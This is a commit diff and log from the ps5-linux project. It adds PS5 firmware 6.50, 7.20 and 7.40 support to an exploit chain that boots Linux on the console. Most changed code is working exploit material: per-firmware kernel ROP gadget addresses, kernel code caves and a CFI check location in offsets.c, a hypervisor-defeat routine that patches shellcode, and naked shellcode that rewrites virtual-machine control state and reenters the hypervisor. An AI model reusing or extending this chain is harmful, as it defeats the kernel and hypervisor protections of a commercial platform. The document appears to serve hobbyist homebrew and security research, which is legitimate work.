Add 7.40 support (#32 )

* Update README.md 7.40 Support * Update README.md add 7.40 support * Update offsets.h add 7.40 support * Update utils.c add 7.40 support * Update offsets.c add 7.40 support
Merge pull request #31 from ps5-linux/fw_0650
2026-07-16 14:20:43 +00:00 · 2026-07-04 21:25:53 +02:00 · 2026-07-01 11:14:01 +02:00 · 2026-07-01 09:55:05 +02:00 · 2026-07-01 08:38:23 +02:00 · 2026-06-30 16:53:18 +02:00
7 changed files with 209 additions and 25 deletions
--- a/README.md
+++ b/README.md
@@ -7,23 +7,25 @@ Features:
 - HDMI 4K60 video and audio output
 - M.2 SSD as dedicated Linux partition
 - All USB ports usable for peripherals
- Ethernet port usable via custom Gigabit Ethernet driver
+- BD drive usable via custom ahci driver
+- Internal Bluetooth usable via custom xhci driver
+- Ethernet port usable via custom gbe driver

 ![Alt Text](logo.webp)

 ## PS5 firmware

-*ps5-linux* is currently only supported on PS5 Phat on the following firmwares:
+*ps5-linux* is only supported on PS5 Phat and Slim on the following firmwares:

 - **3.00**, **3.10**, **3.20**, **3.21** without M.2 support
 - **4.00**, **4.02**, **4.03**, **4.50**, **4.51** with M.2 support
 - **5.00**, **5.02**, **5.10**, **5.50** with M.2 support
- **6.00**, **6.02** with M.2 support
- **7.61** with M.2 support
+- **6.00**, **6.02**, **6.50** with M.2 support
+- **7.20**, **7.40**, **7.61** with M.2 support

 Support for 1.xx and 2.xx firmwares may be added in the future, but we will not prioritize this effort.

-If you want to update to a specific firmware, [download the correct PUP](https://darthsternie.net/ps5-firmwares/) and follow the [official guide](https://www.playstation.com/en-us/support/hardware/reinstall-playstation-system-software-safe-mode) to upgrade your PS5. **Obviously you cannot downgrade.**
+If you are on firmwares in-between or you want to update to a specific firmware, [download the correct PUP](https://darthsternie.net/ps5-firmwares/) and follow the [official guide](https://www.playstation.com/en-us/support/hardware/reinstall-playstation-system-software-safe-mode) to upgrade your PS5. **Obviously you cannot downgrade.**

 ## Hardwares

@@ -197,7 +199,7 @@ Then, there are certain settings and commands we recommend doing:
   make
   ```

-7. Install the mwifiex driver for the internal Marvell WLAN chip (`40:00.7 Ethernet controller [0200]: Marvell Technology Group Ltd. Device [1b4b:2b56] (rev 02)`):
+7. If you have a Marvell WLAN chip (`lspci -nn` shows `40:00.7 Ethernet controller [0200]: Marvell Technology Group Ltd. Device [1b4b:2b56] (rev 02)`), then you can install the WLAN driver:

   ```bash
   git clone https://github.com/ps5-linux/ps5-linux-mwifiex
@@ -258,7 +260,7 @@ For any future ps5-linux updates, you can download the `.deb` or `.pkg.tar.zst`

 ## FAQ

- Q: Will higher >=6.50 firmwares be supported?
+- Q: Will higher >=8.00 firmwares be supported?
  - A: No.
 - Q: Why can I not use M.2 on 3.xx?
  - A: Because the PS5 fails to boot with it attached.
@@ -269,9 +271,9 @@ For any future ps5-linux updates, you can download the `.deb` or `.pkg.tar.zst`
 - Q: Can I continue using my PS5 if I install Linux?
  - A: Yes, the internal SSD is not modified
 - Q: Can I use the PS5's NIC/WLAN module in Linux?
-  - A: In theory yes, but someone needs to write or adapt drivers to use them.
+  - A: WLAN is only supported for Marvell chipsets at the moment. Ethernet is supported on all models.
 - Q: Does the DualSense controller work?
-  - A: Via a Bluetooth dongle. Built-in Bluetooth is not yet supported.
+  - A: Yes, via internal Bluetooth as well as Bluetooth dongle.
 - Q: What resolutions and refresh rates are supported?
  - A: 1080p, 1440p and 2160p at 60Hz are broadly supported. 1440p@120Hz has been the only confirmed working on the DELL S3225QC yet. 120Hz or 30Hz may be added in the future.
 - Q: After reboot, I get a "Repairing" screen and "Your PS5 wasn't turned off properly." screen. Is that normal?
--- a/include/offsets.h
+++ b/include/offsets.h
@@ -67,6 +67,9 @@ extern offset_list off_0510;
 extern offset_list off_0550;
 extern offset_list off_0600;
 extern offset_list off_0602;
+extern offset_list off_0650;
+extern offset_list off_0720;
+extern offset_list off_0740;
 extern offset_list off_0761;

 #endif
--- a/shellcode_0607/main.c
+++ b/shellcode_0607/main.c
@@ -1,12 +1,20 @@
 #include "utils.h"

-// 7.61 offsets
-#define HV_REENTER_HYPERCORE 0x0000000062806380
-#define HV_STACK_TABLE 0x000000006282E120
-#define HV_PML4 0x000000006282E1A0
-#define HV_ENTRY 0x000000006282E1B8
-#define HV_MAIN 0x0000000000000E20
-#define G_VM_TAB 0x0000000000027C80
+// 7.xx offsets
+#define HV_REENTER_HYPERCORE_07xx 0x0000000062806380ULL
+#define HV_STACK_TABLE_07xx 0x000000006282E120ULL
+#define HV_PML4_07xx 0x000000006282E1A0ULL
+#define HV_ENTRY_07xx 0x000000006282E1B8ULL
+#define HV_MAIN_07xx 0x0000000000000E20
+#define G_VM_TAB_07xx 0x0000000000027C80
+
+// 6.50 offsets
+#define HV_REENTER_HYPERCORE_0650 0x0000000062806780ULL
+#define HV_STACK_TABLE_0650 0x000000006282D0C0ULL
+#define HV_PML4_0650 0x000000006282D140ULL
+#define HV_ENTRY_0650 0x000000006282D158ULL
+#define HV_MAIN_0650 0x0000000000000F10
+#define G_VM_TAB_0650 0x0000000000023C80

 #define MSR_APICBASE 0x01b
 #define MSR_GSBASE 0xc0000101
@@ -19,11 +27,17 @@
 #define NESTED_CTRL_NP_ENABLE 0x1

 __attribute__((section(".entry_point"), naked)) uint32_t main(void) {
-  uint64_t hv_pml4 = *(uint64_t *)HV_PML4;
-  uint64_t hv_base = *(uint64_t *)HV_ENTRY - HV_MAIN;
+  volatile int fw_version = 0x11AA11AA; // To be updated by loader

-  uintptr_t *g_vm_tab =
-      (uintptr_t *)vtophys_custom(hv_base + G_VM_TAB, hv_pml4);
+  uint64_t hv_pml4 =
+      *(uint64_t *)(fw_version == 0x0650 ? HV_PML4_0650 : HV_PML4_07xx);
+  uint64_t hv_base = fw_version == 0x0650
+                         ? (*(uint64_t *)HV_ENTRY_0650 - HV_MAIN_0650)
+                         : (*(uint64_t *)HV_ENTRY_07xx - HV_MAIN_07xx);
+
+  uintptr_t *g_vm_tab = (uintptr_t *)vtophys_custom(
+      hv_base + (fw_version == 0x0650 ? G_VM_TAB_0650 : G_VM_TAB_07xx),
+      hv_pml4);
  for (int i = 0; i < 16; i++) {
    uintptr_t vc = vtophys_custom(g_vm_tab[i], hv_pml4);
    uintptr_t vmcb = vtophys_custom(*(uintptr_t *)(vc + 0x08), hv_pml4);
@@ -42,10 +56,15 @@ __attribute__((section(".entry_point"), naked)) uint32_t main(void) {
  wrmsr(MSR_APICBASE, DEFAULT_APIC_BASE | APICBASE_ENABLED | APICBASE_BSP);

  // Restore gs base.
-  wrmsr(MSR_GSBASE, ((uint64_t *)HV_STACK_TABLE)[0] + 0x1000);
+  wrmsr(MSR_GSBASE,
+        ((uint64_t *)(fw_version == 0x0650 ? HV_STACK_TABLE_0650
+                                           : HV_STACK_TABLE_07xx))[0] +
+            0x1000);

  // Reenter hypercore.
-  void (*hv_reenter_hypercore)(void) = (void *)HV_REENTER_HYPERCORE;
+  void (*hv_reenter_hypercore)(void) =
+      (void *)(fw_version == 0x0650 ? HV_REENTER_HYPERCORE_0650
+                                    : HV_REENTER_HYPERCORE_07xx);
  hv_reenter_hypercore();
  while (1)
    ;
--- a/shellcode_kernel/boot_linux.c
+++ b/shellcode_kernel/boot_linux.c
@@ -79,7 +79,7 @@ static inline uint64_t vmmcall(uint64_t nr, uint64_t a0, uint64_t a1,
 static uint64_t get_hv_shm(void) {
  if (args.fw_version >= 0x0500 && args.fw_version < 0x0600) {
    return 0x62a01000;
-  } else if (args.fw_version >= 0x0600 && args.fw_version < 0x0650) {
+  } else if (args.fw_version >= 0x0600 && args.fw_version < 0x0800) {
    return 0x62a22000;
  }
  return -1;
@@ -188,7 +188,7 @@ void boot_linux(void) {
  memcpy(&info, (void *)args.linux_info_va, sizeof(struct linux_info));

  info.n_tmrs = 0;
-  if (args.fw_version >= 0x0500 && args.fw_version < 0x0650) {
+  if (args.fw_version >= 0x0500 && args.fw_version < 0x0800) {
    SceSblHvShm *shm = (SceSblHvShm *)PHYS_TO_DMAP(get_hv_shm());

    for (int i = 0; i < 64; i++) {
--- a/source/hv_defeat_0607.c
+++ b/source/hv_defeat_0607.c
@@ -29,9 +29,12 @@ static void setidt(int idx, uintptr_t func, int typ, int dpl, int ist) {
 }

 static uint64_t get_hv_stack(void) {
-  if (fw == 0x0761) {
+  if (fw >= 0x0720 && fw < 0x0800) {
    return 0x628ec000;
  }
+  if (fw == 0x0650) {
+    return 0x628d0000;
+  }
  return -1;
 }

@@ -84,12 +87,32 @@ static void build_sx_rop(uintptr_t ist, size_t shellcode_kernel_len) {
  kwrite(ist + 0x1000, rop_buf, (uintptr_t)rop - (uintptr_t)rop_buf);
 }

+static int update_sc_fw_version(uint64_t shellcode) {
+  // Find the address 0x11AA11AA used as marker
+  int offset = -1;
+  for (uint64_t i = 0; i < 0x40; i++) {
+    if (*(uint32_t *)(shellcode + i) == 0x11AA11AA) {
+      offset = i;
+      break;
+    }
+  }
+  if (offset == -1) {
+    notify("Could not find offset of shellcode fw version - Aborting\n");
+    return -1;
+  }
+  *(uint32_t *)(shellcode + offset) = fw;
+  return 0;
+}
+
 int hv_defeat_0607(void *shellcode_kernel, size_t shellcode_kernel_len) {
  void *shellcode_0607 =
      mmap(NULL, ALIGN_UP(shellcode_0607_bin_len, PAGE_SIZE),
           PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  memcpy(shellcode_0607, shellcode_0607_bin, shellcode_0607_bin_len);

+  if (update_sc_fw_version((uint64_t)shellcode_0607))
+    return -1;
+
  for (int i = 0; i < shellcode_0607_bin_len; i += PAGE_SIZE) {
    install_page_syscore(kernel_cave_shellcode_0761 + i,
                         vtophys_user((uintptr_t)shellcode_0607 + i), 0);
--- a/source/offsets.c
+++ b/source/offsets.c
@@ -466,6 +466,134 @@ offset_list off_0602 = {
    .PS5_WIFI_FW_SIZE = 494536,
 };

+offset_list off_0650 = {
+    // .IOMMU_SOFTC not needed
+    // .VMSPACE_VM_VMID not needed
+    .VMSPACE_VM_PMAP = 0x1D8,
+    // .DATA_BASE_GVMSPACE not needed
+    .ACPIGBL_FACS = (0xffffffff83c04540 - KERNEL_TEXT),
+    .IDT = (0xffffffff873cdde0 - KERNEL_TEXT),
+    .COMMON_TSS = (0xffffffff873d0a00 - KERNEL_TEXT),
+    // .STOPPED_CPUS not needed
+    // .FUN_STOP_CPUS not needed
+    // .FUN_AS_LAPIC_EOI not needed
+    // .FUN_HV_UNMAP_PT_TMR not needed
+    .FUN_MEMCPY = (0xffffffff804935b0 - KERNEL_TEXT),
+    .GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80bb7224 - KERNEL_TEXT),
+    .GAD_IRETQ = (0xffffffff804547ed - KERNEL_TEXT),
+    .GAD_POP_RAX_RET = (0xffffffff8040eb50 - KERNEL_TEXT),
+    .GAD_POP_RDI_RET = (0xffffffff803f1ef8 - KERNEL_TEXT),
+    .GAD_POP_RSI_RET = (0xffffffff803b2a30 - KERNEL_TEXT),
+    .GAD_POP_RDX_RET = (0xffffffff80536a32 - KERNEL_TEXT),
+    //.GAD_POP_RCX_RET = (0xffffffff8033ba53 - KERNEL_TEXT),
+    .GAD_POP_RCX_RET = (0xffffffff804e68b8 - KERNEL_TEXT),
+    .GAD_POP_RSP_RET = (0xffffffff8045a830 - KERNEL_TEXT),
+    .GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = (0xffffffff8061421a - KERNEL_TEXT),
+    .GAD_WRMSR_RET = (0xffffffff80451e84 - KERNEL_TEXT),
+    // .GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET not needed
+    // .HOOK_ACPI_WAKEUP_MACHDEP not needed
+    .KERNEL_CODE_CAVE = 0x500,
+    .FUN_PRINTF = (0xffffffff806d2610 - KERNEL_TEXT),
+    // .FUN_HV_IOMMU_SET_BUFFERS not needed
+    // .FUN_HV_IOMM_WAIT_COMPLETION not needed
+    .FUN_SMP_RENDEZVOUS = (0xffffffff80cd20e0 - KERNEL_TEXT),
+    .FUN_SMP_NO_RENDEVOUS_BARRIER = (0xffffffff804bc370 - KERNEL_TEXT),
+    .HV_CODE_CAVE_PA = 0x62806F00,
+    .HV_HANDLE_VMEXIT_PA = 0x62841D50,
+    .KERNEL_UART_OVERRIDE = (0xffffffff822d25c8 - KERNEL_TEXT),
+    .KERNEL_CFI_CHECK = (0xffffffff80689a20 - KERNEL_TEXT),
+    .G_VBIOS = (0xffffffff875dfa50 - KERNEL_TEXT),
+    .FUN_TRANSMITTER_CONTROL = (0xffffffff80dcb990 - KERNEL_TEXT),
+    .FUN_MP3_INITIALIZE = (0xffffffff80be4190 - KERNEL_TEXT),
+    .FUN_MP3_INVOKE = (0xffffffff80be2f10 - KERNEL_TEXT),
+    .PS5_WIFI_FW_OFFSET = (0xffffffff81665b90 - KERNEL_TEXT),
+    .PS5_WIFI_FW_SIZE = 494536,
+};
+
+offset_list off_0720 = {
+    // .IOMMU_SOFTC not needed
+    // .VMSPACE_VM_VMID not needed
+    .VMSPACE_VM_PMAP = 0x1D8,
+    // .DATA_BASE_GVMSPACE not needed
+    .ACPIGBL_FACS = (0xffffffff83ac9c50 - KERNEL_TEXT),
+    .IDT = (0xffffffff83cdfdf0 - KERNEL_TEXT),
+    .COMMON_TSS = (0xffffffff83ce2ad0 - KERNEL_TEXT),
+    // .STOPPED_CPUS not needed
+    // .FUN_STOP_CPUS not needed
+    // .FUN_AS_LAPIC_EOI not needed
+    // .FUN_HV_UNMAP_PT_TMR not needed
+    .FUN_MEMCPY = (0xffffffff80493600 - KERNEL_TEXT),
+    .GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80c435ff - KERNEL_TEXT),
+    .GAD_IRETQ = (0xffffffff809c52e8 - KERNEL_TEXT),
+    .GAD_POP_RAX_RET = (0xffffffff80e4c2d5 - KERNEL_TEXT),
+    .GAD_POP_RDI_RET = (0xffffffff80dfe38b - KERNEL_TEXT),
+    .GAD_POP_RSI_RET = (0xffffffff80dfdd9e - KERNEL_TEXT),
+    .GAD_POP_RDX_RET = (0xffffffff80a4fd38 - KERNEL_TEXT),
+    .GAD_POP_RCX_RET = (0xffffffff80e24def - KERNEL_TEXT),
+    .GAD_POP_RSP_RET = (0xffffffff80e2b4c0 - KERNEL_TEXT),
+    .GAD_WRMSR_RET = (0xffffffff80451d04 - KERNEL_TEXT),
+    // .GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET not needed
+    // .HOOK_ACPI_WAKEUP_MACHDEP not needed
+    .KERNEL_CODE_CAVE = 0x500,
+    .FUN_PRINTF = (0xffffffff806cc830 - KERNEL_TEXT),
+    // .FUN_HV_IOMMU_SET_BUFFERS not needed
+    // .FUN_HV_IOMM_WAIT_COMPLETION not needed
+    .FUN_SMP_RENDEZVOUS = (0xffffffff80cb6100 - KERNEL_TEXT),
+    .FUN_SMP_NO_RENDEVOUS_BARRIER = (0xffffffff804c0820 - KERNEL_TEXT),
+    .HV_CODE_CAVE_PA = 0x62806F00,
+    .HV_HANDLE_VMEXIT_PA = 0x6283D800,
+    .KERNEL_UART_OVERRIDE = (0xffffffff822c33f8 - KERNEL_TEXT),
+    .KERNEL_CFI_CHECK = (0xffffffff806857a0 - KERNEL_TEXT),
+    .G_VBIOS = (0xffffffff83ef7a40 - KERNEL_TEXT),
+    .FUN_TRANSMITTER_CONTROL = (0xffffffff80dafcc0 - KERNEL_TEXT),
+    .FUN_MP3_INITIALIZE = (0xffffffff80bcba10 - KERNEL_TEXT),
+    .FUN_MP3_INVOKE = (0xffffffff80bca7d0 - KERNEL_TEXT),
+    .PS5_WIFI_FW_OFFSET = (0xffffffff81655700 - KERNEL_TEXT),
+    .PS5_WIFI_FW_SIZE = 497636,
+};
+
+offset_list off_0740 = {
+    // .IOMMU_SOFTC not needed
+    // .VMSPACE_VM_VMID not needed
+    .VMSPACE_VM_PMAP = 0x1D8,
+    // .DATA_BASE_GVMSPACE not needed
+    .ACPIGBL_FACS = (0xFFFFFFFF83AC9C50 - KERNEL_TEXT),
+    .IDT = (0xFFFFFFFF83CDFDF0 - KERNEL_TEXT),
+    .COMMON_TSS = (0xFFFFFFFF83CE2AD0 - KERNEL_TEXT),
+    // .STOPPED_CPUS not needed
+    // .FUN_STOP_CPUS not needed
+    // .FUN_AS_LAPIC_EOI not needed
+    // .FUN_HV_UNMAP_PT_TMR not needed
+    .FUN_MEMCPY = (0xFFFFFFFF80493600 - KERNEL_TEXT),
+    .GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80c435ff - KERNEL_TEXT),
+    .GAD_IRETQ = (0xffffffff8045480d - KERNEL_TEXT),
+    .GAD_POP_RAX_RET = (0xffffffff8040e9d0 - KERNEL_TEXT),
+    .GAD_POP_RDI_RET = (0xffffffff803f1d78 - KERNEL_TEXT),
+    .GAD_POP_RSI_RET = (0xffffffff803b28b0 - KERNEL_TEXT),
+    .GAD_POP_RDX_RET = (0xffffffff805cd53c - KERNEL_TEXT),
+    .GAD_POP_RCX_RET = (0xffffffff80e24def - KERNEL_TEXT),
+    .GAD_POP_RSP_RET = (0xffffffff8045a850 - KERNEL_TEXT),
+    .GAD_WRMSR_RET = (0xffffffff80451d04 - KERNEL_TEXT),
+    // .GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET not needed
+    // .HOOK_ACPI_WAKEUP_MACHDEP not needed
+    .KERNEL_CODE_CAVE = 0x500,
+    .FUN_PRINTF = (0xffffffff804b19f0 - KERNEL_TEXT),//0xffffffff806cc830
+    // .FUN_HV_IOMMU_SET_BUFFERS not needed
+    // .FUN_HV_IOMM_WAIT_COMPLETION not needed
+    .FUN_SMP_RENDEZVOUS = (0xffffffff80cb6100  - KERNEL_TEXT),
+    .FUN_SMP_NO_RENDEVOUS_BARRIER = (0xffffffff804badf0 - KERNEL_TEXT),
+    .HV_CODE_CAVE_PA = 0x62806F00,
+    .HV_HANDLE_VMEXIT_PA = 0x6283D800,
+    .KERNEL_UART_OVERRIDE = (0xFFFFFFFF822C33F8 - KERNEL_TEXT),
+    .KERNEL_CFI_CHECK = (0xffffffff806857a0 - KERNEL_TEXT),
+    .G_VBIOS = (0xFFFFFFFF83EF7A40 - KERNEL_TEXT),
+    .FUN_TRANSMITTER_CONTROL = (0xffffffff80dafcc0 - KERNEL_TEXT),
+    .FUN_MP3_INITIALIZE = (0xffffffff80bcba10 - KERNEL_TEXT),
+    .FUN_MP3_INVOKE = (0xffffffff80bca7d0 - KERNEL_TEXT),
+    .PS5_WIFI_FW_OFFSET = (0xffffffff81655700 - KERNEL_TEXT),
+    .PS5_WIFI_FW_SIZE = 497636,
+};
+ 
 offset_list off_0761 = {
    // .IOMMU_SOFTC not needed
    // .VMSPACE_VM_VMID not needed
--- a/source/utils.c
+++ b/source/utils.c
@@ -76,6 +76,15 @@ int set_offsets(void) {
  case 0x0602:
    env_offset = off_0602;
    break;
+  case 0x0650:
+    env_offset = off_0650;
+    break;
+  case 0x0720:
+    env_offset = off_0720;
+    break;
+  case 0x0740:
+    env_offset = off_0740;
+    break;
  case 0x0761:
    env_offset = off_0761;
    break;
Author	SHA1	Message	Date
ps3120	63d2216294	Add 7.40 support (#32 ) * Update README.md 7.40 Support * Update README.md add 7.40 support * Update offsets.h add 7.40 support * Update utils.c add 7.40 support * Update offsets.c add 7.40 support	2026-07-04 21:25:53 +02:00
c0w-ar	a2900e7704	Merge pull request #31 from ps5-linux/fw_0650 Add firmware 6.50 support	2026-07-01 11:14:01 +02:00
Mateico	39818a69e8	format	2026-07-01 09:55:05 +02:00
Mateico	e14946aa0a	add 6.50 support	2026-07-01 08:38:23 +02:00
ufm42	f8fa7a86c1	Add 7.20 support (#30 ) * Add 7.20 support * Update readme * update hv_stack range * oops	2026-06-30 16:53:18 +02:00
Andy Nguyen	cc0d5a2de5	Update readme.	2026-06-30 16:27:15 +02:00
Andy Nguyen	b361f79cbc	Update readme.	2026-06-30 11:18:32 +02:00
Andy Nguyen	cd3880685c	Fix tmr exclusion for 7.61.	2026-06-30 11:12:15 +02:00